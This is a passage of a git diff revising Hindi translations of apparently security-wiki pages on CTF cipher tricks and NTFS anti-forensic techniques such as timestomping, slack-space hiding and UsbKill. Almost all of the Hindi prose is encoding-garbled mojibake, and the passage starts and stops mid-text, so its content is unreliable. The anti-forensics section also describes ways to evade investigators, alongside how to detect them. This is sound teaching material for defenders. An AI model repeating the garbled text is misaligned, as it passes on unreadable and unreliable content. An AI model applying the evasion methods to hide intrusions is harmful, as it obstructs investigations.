рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред\ +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) рджреНрд╡рд╛рд░рд╛ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдЕрдВрдХреЛрдВ рдХреЛ рдореЛрдмрд╛рдЗрд▓ [рдлреЛрди рдХреАрдкреИрдб](https://www.dcode.fr/phone-keypad-cipher) рдкрд░ рд╕рдВрдмрдВрдзрд┐рдд рдХреБрдВрдЬреА рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдпрд╣ рдореЛрдб SMS рд▓рд┐рдЦрддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: 2=A, 22=B, 222=C, 3=D...\ -рдЖрдк рдЗрд╕ рдХреЛрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк\*\* рдХрдИ рдЕрдВрдХреЛрдВ рдХреЛ рджреЛрд╣рд░рд╛рддреЗ рд╣реБрдП рджреЗрдЦреЗрдВрдЧреЗ\*\*ред +рдЖрдк рдЗрд╕ рдХреЛрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдХрдИ рд╕рдВрдЦреНрдпрд╛рдПрдБ рдкреБрдирд░рд╛рд╡реГрддреНрдд** рджреЗрдЦреЗрдВрдЧреЗред рдЖрдк рдЗрд╕ рдХреЛрдб рдХреЛ рдбрд┐рдХреЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -### рдмреЗрдХрди рдХреЛрдб +### Bacon Code -рдкреНрд░рддреНрдпреЗрдХ рдЕрдХреНрд╖рд░ рдХреЛ 4 A рдпрд╛ B (рдпрд╛ 1s рдФрд░ 0s) рд╕реЗ рдмрджрд▓реЗрдВ +рдкреНрд░рддреНрдпреЗрдХ рдЕрдХреНрд╖рд░ рдХреЛ 4 A рдпрд╛ B (рдпрд╛ 1s рдФрд░ 0s) рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA @@ -237,7 +237,7 @@ wodsyoidrods ### рдлрд░реНрдиреЗрдЯ -2 рдмреЗрд╕64 рд╕реНрдЯреНрд░рд┐рдВрдЧ (рдЯреЛрдХрди рдФрд░ рдХреБрдВрдЬреА) +2 base64 рд╕реНрдЯреНрд░рд┐рдВрдЧ (рдЯреЛрдХрди рдФрд░ рдХреБрдВрдЬреА) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 3cad7abcf..778ddffc8 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -33,7 +33,7 @@ ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ ! +- [https://quipqiup.com/](https://quipqiup.com) - рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛! #### Caesar - ROTx Autosolvers @@ -45,7 +45,7 @@ ### Base Encodings Autosolver -рдЗрди рд╕рднреА рдмреЗрд╕реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +рдЗрди рд╕рднреА рдмреЗрд╕ рдХреЛ рдЪреЗрдХ рдХрд░реЗрдВ: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - `BQ%]q@psCd@rH0l` @@ -184,19 +184,19 @@ drnajapajrna ``` ### Affine Cipher Encode -рдЕрдХреНрд╖рд░ рдХреЛ рд╕рдВрдЦреНрдпрд╛ `(ax+b)%26` (_a_ рдФрд░ _b_ рдХреБрдВрдЬреА рд╣реИрдВ рдФрд░ _x_ рдЕрдХреНрд╖рд░ рд╣реИ) рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдХреНрд╖рд░ рдореЗрдВ рдмрджрд▓реЗрдВ +рдЕрдХреНрд╖рд░ рдХреЛ рд╕рдВрдЦреНрдпрд╛ `(ax+b)%26` (_a_ рдФрд░ _b_ рдХреБрдВрдЬреА рд╣реИрдВ рдФрд░ _x_ рдЕрдХреНрд╖рд░ рд╣реИ) рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдХреНрд╖рд░ рдореЗрдВред ``` krodfdudfrod ``` -### SMS рдХреЛрдб +### SMS Code -**Multitap** [рдПрдХ рдЕрдХреНрд╖рд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ](https://www.dcode.fr/word-letter-change) рджреНрд╡рд╛рд░рд╛ рдмрд╛рд░-рдмрд╛рд░ рджрд┐рдП рдЧрдП рдЕрдВрдХреЛрдВ рдХреЗ рд╕рд╛рде рдЬреЛ рдореЛрдмрд╛рдЗрд▓ [рдлреЛрди рдХреАрдкреИрдб](https://www.dcode.fr/phone-keypad-cipher) рдкрд░ рд╕рдВрдмрдВрдзрд┐рдд рдХреБрдВрдЬреА рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ (рдпрд╣ рдореЛрдб SMS рд▓рд┐рдЦрддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред\ +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) рджреНрд╡рд╛рд░рд╛ рдмрд╛рд░-рдмрд╛рд░ рджреЛрд╣рд░рд╛рдП рдЧрдП рдЕрдВрдХреЛрдВ рдХреЛ рдореЛрдмрд╛рдЗрд▓ [рдлреЛрди рдХреАрдкреИрдб](https://www.dcode.fr/phone-keypad-cipher) рдкрд░ рд╕рдВрдмрдВрдзрд┐рдд рдХреБрдВрдЬреА рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдпрд╣ рдореЛрдб SMS рд▓рд┐рдЦрддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: 2=A, 22=B, 222=C, 3=D...\ -рдЖрдк рдЗрд╕ рдХреЛрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк\*\* рдХрдИ рдЕрдВрдХреЛрдВ рдХреЛ рджреЛрд╣рд░рд╛рддреЗ рд╣реБрдП рджреЗрдЦреЗрдВрдЧреЗ\*\*ред +рдЖрдк рдЗрд╕ рдХреЛрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдХрдИ рдирдВрдмрд░реЛрдВ рдХреЛ рджреЛрд╣рд░рд╛рддреЗ рд╣реБрдП** рджреЗрдЦреЗрдВрдЧреЗред рдЖрдк рдЗрд╕ рдХреЛрдб рдХреЛ рдбрд┐рдХреЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -### рдмреЗрдХрди рдХреЛрдб +### Bacon Code рдкреНрд░рддреНрдпреЗрдХ рдЕрдХреНрд╖рд░ рдХреЛ 4 A рдпрд╛ B (рдпрд╛ 1s рдФрд░ 0s) рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ ``` @@ -219,7 +219,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -рдПрдХ рдХреБрдВрдЬреАрд╢рдмреНрдж рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ +рдПрдХ рдХреАрд╡рд░реНрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ ``` fgaargaamnlunesuneoa ``` @@ -247,9 +247,9 @@ Key: ``` - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### рд╕рдореАрд░ рдЧреБрдкреНрдд рд╕рд╛рдЭрд╛рдХрд░рдг +### Samir Secret Sharing -рдПрдХ рдЧреБрдкреНрдд рдХреЛ X рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ Y рднрд╛рдЧреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (_Y <=X_). +рдПрдХ рд░рд╣рд╕реНрдп X рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ Y рднрд╛рдЧреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 153b8c27e..d1efc0a51 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,7 +3,7 @@ # рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреЛ рдмрджрд▓рдиреЗ** рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕реЗ рдкрдХрдбрд╝рд╛ рди рдЬрд╛ рд╕рдХреЗред\ -MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION` ** рдФрд░ ** `$FILE_NAME` рдореЗрдВ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдорд┐рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИред +рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреЛ MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION`**рдФрд░**`$FILE_NAME` рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рдПред рджреЛрдиреЛрдВ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдореЗрдВ 4 рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рд╣реЛрддреЗ рд╣реИрдВ: **рд╕рдВрд╢реЛрдзрди**, **рдкрд╣реБрдБрдЪ**, **рдирд┐рд░реНрдорд╛рдг**, рдФрд░ **MFT рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐ рд╕рдВрд╢реЛрдзрди** (MACE рдпрд╛ MACB)ред @@ -11,7 +11,7 @@ MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION` ** рдФрд░ ** `$FILE_NAME` рдореЗ ## TimeStomp - рдПрдВрдЯреА-рдлреЙрд░реЗрдВрд╕рд┐рдХ рдЯреВрд▓ -рдпрд╣ рдЙрдкрдХрд░рдг **`$STANDARD_INFORMATION`** рдХреЗ рдЕрдВрджрд░ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рддрд╛ рд╣реИ **рд▓реЗрдХрд┐рди** **`$FILE_NAME`** рдХреЗ рдЕрдВрджрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рдирд╣реАрдВ**ред рдЗрд╕рд▓рд┐рдП, **рд╕рдВрджрд┐рдЧреНрдз** **рдЧрддрд┐рд╡рд┐рдзрд┐** рдХреЛ **рдкрд╣рдЪрд╛рдирдирд╛** рд╕рдВрднрд╡ рд╣реИред +рдпрд╣ рдЙрдкрдХрд░рдг **`$STANDARD_INFORMATION`** рдХреЗ рдЕрдВрджрд░ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рддрд╛ рд╣реИ **рд▓реЗрдХрд┐рди** **`$FILE_NAME`** рдХреЗ рдЕрдВрджрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рдирд╣реАрдВ**ред рдЗрд╕рд▓рд┐рдП, рдпрд╣ **рд╕рдВрджрд┐рдЧреНрдз** **рдЧрддрд┐рд╡рд┐рдзрд┐** рдХреА **рдкрд╣рдЪрд╛рди** рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред ## Usnjrnl @@ -23,7 +23,7 @@ MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION` ** рдФрд░ ** `$FILE_NAME` рдореЗ ## $LogFile -**рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕рднреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рдЬрд┐рд╕реЗ [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд▓реЙрдЧ рдХреА рдЧрдИ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд░рдЦреА рдЬрд╛рддреА рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо `**$LogFile**` рд╣реИ, рдЬреЛ NTFS рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред [LogFileParser](https://github.com/jschicht/LogFileParser) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдФрд░ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕рднреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЬрд┐рд╕реЗ [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд▓реЙрдЧ рдХреА рдЧрдИ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд░рдЦреА рдЬрд╛рддреА рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо `**$LogFile**` рд╣реИ, рдЬреЛ NTFS рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред [LogFileParser](https://github.com/jschicht/LogFileParser) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдФрд░ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ![](<../../images/image (450).png>) @@ -44,7 +44,7 @@ MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION` ** рдФрд░ ** `$FILE_NAME` рдореЗ ## рдиреИрдиреЛрд╕реЗрдХрдВрдб -**NTFS** рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреА **рд╕рдЯреАрдХрддрд╛** **100 рдиреИрдиреЛрд╕реЗрдХрдВрдб** рд╣реИред рдЗрд╕рд▓рд┐рдП, 2010-10-10 10:10:**00.000:0000 рдЬреИрд╕реЗ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ **рдмрд╣реБрдд рд╕рдВрджрд┐рдЧреНрдз** рд╣реИрдВред +**NTFS** рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреА **рд╕рдЯреАрдХрддрд╛** **100 рдиреИрдиреЛрд╕реЗрдХрдВрдб** рд╣реИред рдЗрд╕рд▓рд┐рдП, 2010-10-10 10:10:**00.000:0000 рдЬреИрд╕реЗ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрд╣реБрдд рд╕рдВрджрд┐рдЧреНрдз рд╣реИрдВред ## SetMace - рдПрдВрдЯреА-рдлреЙрд░реЗрдВрд╕рд┐рдХ рдЯреВрд▓ @@ -52,9 +52,9 @@ MFT рдХреЗ рдЕрдВрджрд░ `$STANDARD_INFORMATION` ** рдФрд░ ** `$FILE_NAME` рдореЗ # рдбреЗрдЯрд╛ рдЫрд┐рдкрд╛рдирд╛ -NFTS рдПрдХ рдХреНрд▓рд╕реНрдЯрд░ рдФрд░ рдиреНрдпреВрдирддрдо рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдПрдХ рдФрд░ рдЖрдзреЗ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рддреЛ **рдмрдЪрд╛ рд╣реБрдЖ рдЖрдзрд╛ рдХрднреА рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рд╣реЛрдЧрд╛** рдЬрдм рддрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛рддрд╛ред рдлрд┐рд░, рдЗрд╕ **рд╕реНрд▓реИрдХ рд╕реНрдкреЗрд╕** рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ **рдЫрд┐рдкрд╛рдирд╛** рд╕рдВрднрд╡ рд╣реИред +NFTS рдПрдХ рдХреНрд▓рд╕реНрдЯрд░ рдФрд░ рдиреНрдпреВрдирддрдо рдЬрд╛рдирдХрд╛рд░реА рдЖрдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдПрдХ рдФрд░ рдЖрдзреЗ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рддреЛ **рдмрдЪрд╛ рд╣реБрдЖ рдЖрдзрд╛ рдХрднреА рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛** рдЬрдм рддрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛ рдирд╣реАрдВ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ред рдлрд┐рд░, рдЗрд╕ рд╕реНрд▓реИрдХ рд╕реНрдкреЗрд╕ рдореЗрдВ **рдбреЗрдЯрд╛ рдЫрд┐рдкрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред -рдРрд╕реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ рдЬреИрд╕реЗ slacker рдЬреЛ рдЗрд╕ "рдЫрд┐рдкреЗ рд╣реБрдП" рд╕реНрдерд╛рди рдореЗрдВ рдбреЗрдЯрд╛ рдЫрд┐рдкрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, `$logfile` рдФрд░ `$usnjrnl` рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рджрд┐рдЦрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдбреЗрдЯрд╛ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛: +рдРрд╕реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ рдЬреИрд╕реЗ рд╕реНрд▓реИрдХрд░ рдЬреЛ рдЗрд╕ "рдЫрд┐рдкреЗ рд╣реБрдП" рд╕реНрдерд╛рди рдореЗрдВ рдбреЗрдЯрд╛ рдЫрд┐рдкрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, `$logfile` рдФрд░ `$usnjrnl` рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рджрд┐рдЦрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдбреЗрдЯрд╛ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛: ![](<../../images/image (452).png>) @@ -62,12 +62,12 @@ NFTS рдПрдХ рдХреНрд▓рд╕реНрдЯрд░ рдФрд░ рдиреНрдпреВрдирддрдо рдЬрд╛рдирдХрд╛ # UsbKill -рдпрд╣ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ **USB** рдкреЛрд░реНрдЯ рдореЗрдВ рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдкрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ **рдмрдВрдж** рдХрд░ рджреЗрдЧрд╛ред\ -рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдФрд░ **рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реЗ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдирд╛** рд╣реИред +рдпрд╣ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ **USB** рдкреЛрд░реНрдЯ рдореЗрдВ рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдкрд░ **рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдмрдВрдж** рдХрд░ рджреЗрдЧрд╛ред\ +рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдФрд░ **рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реЗ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдирд╛** рд╣реИред # рд▓рд╛рдЗрд╡ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдг -рдпреЗ рдбрд┐рд╕реНрдЯреНрд░реАрдмреНрдпреВрд╢рди **RAM** рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ **рдЪрд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ**ред рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рддрднреА рдкрд╣рдЪрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрдм **NTFS рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ**ред рдпрджрд┐ рдЗрд╕реЗ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдШреБрд╕рдкреИрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред +рдпреЗ рдбрд┐рд╕реНрдЯреНрд░реАрдмреНрдпреВрд╢рди **RAM** рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рддрднреА рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм **NTFS рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ**ред рдпрджрд┐ рдЗрд╕реЗ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдШреБрд╕рдкреИрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред # рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд┐рд▓реЛрдкрди @@ -79,7 +79,7 @@ NFTS рдПрдХ рдХреНрд▓рд╕реНрдЯрд░ рдФрд░ рдиреНрдпреВрдирддрдо рдЬрд╛рдирдХрд╛ ## рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЕрдХреНрд╖рдо рдХрд░реЗрдВ - UserAssist -рдпрд╣ рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА 